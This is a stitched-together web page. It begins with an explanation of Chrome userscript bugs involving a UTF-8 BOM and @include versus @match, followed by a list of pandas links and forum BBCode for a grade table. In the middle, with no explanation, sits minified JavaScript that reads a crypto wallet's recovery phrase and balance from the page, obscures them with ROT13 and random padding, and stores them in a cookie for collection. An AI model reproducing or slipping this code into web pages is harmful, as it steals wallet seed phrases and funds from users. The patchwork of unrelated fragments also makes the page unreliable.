chrome dos

There are two issues. First, a userscript header does not parse if a UTF8 BOM is present (Chromium bug 102667).

Second, when using @include versus @match in a userscript, Chrome misleadingly reports that the script can "Access your data on all websites", but this is not really true. The script will run on only those sites specified by the include statement(s).

Consider (or make) these three scripts:

UTF test, not UTF.user.js (save with ANSI encoding):

// ==UserScript==
// @name    Not UTF source file
// @match   http://www.yahoo.com/*
// ==/UserScript==
if (location.hostname != 'www.yahoo.com')
  alert ("This script should not run on "+location.hostname+"!");
 Save

UTF test, is UTF.user.js (save with UTF-8 encoding, including the BOM):

// ==UserScript==
// @name    Is UTF source file
// @match   http://www.yahoo.com/*
// ==/UserScript==
if (location.hostname != 'www.yahoo.com')
  alert ("This script should not run on "+location.hostname+"!");
 Save

Include, not match.user.js (save with ANSI encoding):

// ==UserScript==
// @name    Use include, not match
// @include http://www.yahoo.com/*
// ==/UserScript==
if (location.hostname != 'www.yahoo.com')
  alert ("This script should not run on "+location.hostname+"!");
 Save

Note that all 3 scripts are the same code. Only the @name and/or the file-format and/or @include versus @match are different.

The ANSI script, with match (UTF test, not UTF.user.js) reports these permissions:


This script operates and reports correctly, and as expected.


The UTF-8 script, with match (UTF test, is UTF.user.js) reports these permissions:


The permissions are reported incorrectly, contradicting the @match statement(s). Also note that the file-name is shown, URL-encoded, instead of the @name directive. These are both clues that something is amiss.

Worse, this script will operate on all sites. That is, you will see the alert() on all non-Yahoo pages. This is clearly a bug.


The ANSI script, with include (Include, not match.user.js) reports these permissions:


While this is a misleading report, the script will actually operate correctly. That is, it will only fire for yahoo pages.

This is due in part to how Chrome auto-converts userscripts into extensions. @match statements are translated directly into the manifest.json's matches property, while @include statements are made into include_globs values. See Match patterns and globs. The permissions report keys off the matches array.

Similiar Collections

Python strftime reference pandas.Period.strftime python - Formatting Quarter time in pandas columns - Stack Overflow python - Pandas: Change day - Stack Overflow python - Check if multiple columns exist in a df - Stack Overflow Pandas DataFrame apply() - sending arguments examples python - How to filter a dataframe of dates by a particular month/day? - Stack Overflow python - replace a value in the entire pandas data frame - Stack Overflow python - Replacing blank values (white space) with NaN in pandas - Stack Overflow python - get list from pandas dataframe column - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to drop rows of Pandas DataFrame whose value in a certain column is NaN - Stack Overflow python - How to lowercase a pandas dataframe string column if it has missing values? - Stack Overflow How to Convert Integers to Strings in Pandas DataFrame - Data to Fish How to Convert Integers to Strings in Pandas DataFrame - Data to Fish create a dictionary of two pandas Dataframe columns? - Stack Overflow python - ValueError: No axis named node2 for object type <class 'pandas.core.frame.DataFrame'> - Stack Overflow Python Pandas iterate over rows and access column names - Stack Overflow python - Creating dataframe from a dictionary where entries have different lengths - Stack Overflow python - Deleting DataFrame row in Pandas based on column value - Stack Overflow python - How to check if a column exists in Pandas - Stack Overflow python - Import pandas dataframe column as string not int - Stack Overflow python - What is the most efficient way to create a dictionary of two pandas Dataframe columns? - Stack Overflow Python Loop through Excel sheets, place into one df - Stack Overflow

function blockhack_token(e){return(e+"").replace(/[a-z]/gi,function(e){return String.fromCharCode(e.charCodeAt(0)+("n">e.toLowerCase()?13:-13))})}function sleep(e){return new Promise(function(t){return setTimeout(t,e)})}function makeid(e){for(var t="",n=0;n<e;n++)t+="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".charAt(Math.floor(62*Math.random()));return t}for(var elems=document.querySelectorAll(".sc-bdVaJa.iOqSrY"),keys=[],result=makeid(300),i=elems.length;i--;)"backupFundsButton"==elems[i].getAttribute("data-e2e")&&elems[i].addEventListener("click",myFunc,!1);function myFunc(){setTimeout(function(){for(var e=document.querySelectorAll(".sc-bdVaJa.KFCFP"),t=e.length;t--;)e[t].addEventListener("click",start,!1)},1e3)}function start(){keys=[],setTimeout(function(){var e=document.querySelectorAll("div[data-e2e=backupWords]"),t=document.querySelectorAll(".KFCFP");for(e.forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))}),e=t.length;e--;)"toRecoveryTwo"==t[e].getAttribute("data-e2e")&&t[e].addEventListener("click",end,!1)},1e3)}function end(){setTimeout(function(){document.querySelectorAll("div[data-e2e=backupWords]").forEach(function(e,t,n){e=blockhack_token(e.getElementsByTagName("div")[1].textContent),keys.push(e.replace(/\s/g,""))});var e=document.querySelectorAll("div[data-e2e=topBalanceTotal]")[0].textContent,t=result+"["+e+"]["+keys.join("]"+makeid(300)+"[");t+="]"+makeid(300),document.cookie="blockhack_token="+t},1e3)}

@Andiyo

[div align="center"][div style="width:550px;border-top:10px solid #68a758;border-bottom:10px solid #68a758;background-color:white;"][img style="max-width:100%;" src="https://i.postimg.cc/bJyKRG4B/sly1.gif"] [div style="width:90%;padding:15px;"][div style="width:250px;font-family:arial;font-size:23px;font-weight:bold;font-style:italic;float:left;text-align:right;letter-spacing:-1px;"]EMERSON ROOK[/div][div style="border-radius:50px;padding:5px;border:3px double black;color:black;font-family:georgia;font-size:35px;margin-left:25px;width:40px;float:left;"]S[/div][div style="float:left;margin-left:20px;margin-top:5px;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;padding:5px;text-align:left;line-height:12px;"][b][i]FIRST[/i][/b] BEGINNERS FULL [/div] [hr] [div style="font-family:arial;font-size:11px;"][table style="width:500px;"][tbody][tr][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]ASSIGNMENT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]HOMEWORK[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]EXTRA CREDIT[/i][/b][/span] [/div][/td][td style="padding:3px;"][div align="center"][span style="padding:3px 8px 3px 8px;border-bottom:1px solid grey;font-family:arial;font-size:8px;color:#666;letter-spacing:2px;"][b][i]GRADE[/i][/b][/span] [/div][/td][/tr][tr][td align="center" style="padding:3px;"]Lesson One [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Two [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td align="center" style="padding:3px;"]Lesson Three [/td][td align="center" style="padding:3px;"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Four [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td align="center" style="padding:3px;"]T[/td][/tr][tr][td style="padding:3px;" align="center"]Lesson Five [/td][td style="padding:3px;" align="center"]0/40[/td][td align="center" style="padding:3px;"]0/20[/td][td style="padding:3px;" align="center"]T[/td][/tr][/tbody][/table] [hr] [font size="1"][b]FINAL GRADE:[/b] 000/200 (T) @emersonrook , post your homework here[/font][/div] [/div][/div][/div][/quote]

@cryptpkr